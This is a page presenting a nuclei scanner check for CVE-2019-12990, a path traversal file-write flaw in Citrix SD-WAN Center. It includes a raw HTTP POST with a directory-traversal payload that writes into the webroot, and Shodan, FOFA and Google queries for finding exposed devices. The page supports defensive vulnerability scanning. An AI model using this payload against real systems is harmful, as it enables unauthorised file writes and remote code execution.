Citrix SD-WAN Center - Local File Inclusion

criticalseverity

9.8CVSS score

39.3%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Citrix SD-WAN Center is susceptible to local file inclusion via the applianceSettingsFileTransfer function in ApplianceSettingsController. The function does not sufficiently validate or sanitize HTTP request parameter values used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for filename, filedata, and workspace_id, therefore being able to write files to locations writable by the www-data user and/or to write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access to sensitive information, remote code execution, or denial of service.

Fix

Apply the latest security patches or updates provided by Citrix to mitigate the vulnerability.

How to confirm it

Send: GET /login ; POST /Collector/appliancesettings/applianceSettingsFileTransfer ; GET /talari/app/files/{{randstr}}
Positive when: contains(header, "text/html") and status_code_3 == 200 and contains(body_1, "<title>Citrix SD-WAN</title>")

Run it with nuclei: nuclei -id CVE-2019-12990 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-12990

info:
  name: Citrix SD-WAN Center - Local File Inclusion
  author: gy741
  severity: critical
  description: |
    Citrix SD-WAN Center is susceptible to local file inclusion via the applianceSettingsFileTransfer function in ApplianceSettingsController. The function does not sufficiently validate or sanitize HTTP request parameter values used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for filename, filedata, and workspace_id, therefore being able to write files to locations writable by the www-data user and/or to write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to sensitive information, remote code execution, or denial of service.
  remediation: |
    Apply the latest security patches or updates provided by Citrix to mitigate the vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2019-31
    - https://support.citrix.com/search?searchQuery=*&lang=en&sort=relevance&prod=&pver=&ct=Security+Bulletin
    - https://nvd.nist.gov/vuln/detail/CVE-2019-12990
    - https://support.citrix.com/search?searchQuery=%2A&lang=en&sort=relevance&prod=&pver=&ct=Security+Bulletin
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-12990
    cwe-id: CWE-22
    epss-score: 0.39335
    epss-percentile: 0.98618
    cpe: cpe:2.3:a:citrix:netscaler_sd-wan:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: citrix
    product: netscaler_sd-wan
    shodan-query:
      - http.title:"Citrix SD-WAN"
      - http.title:"citrix sd-wan"
    fofa-query: title="citrix sd-wan"
    google-query: intitle:"citrix sd-wan"
  tags: cve,cve2019,citrix,rce,unauth,tenable,intrusive,vkev,vuln

http:
  - raw:
      - |
        GET /login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /Collector/appliancesettings/applianceSettingsFileTransfer HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        filename=../../../../../../home/talariuser/www/app/webroot/files/{{randstr}}&filedata=
      - |
        GET /talari/app/files/{{randstr}} HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers:
      - type: dsl
        dsl:
          - contains(header, "text/html")
          - status_code_3 == 200
          - contains(body_1, "<title>Citrix SD-WAN</title>")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from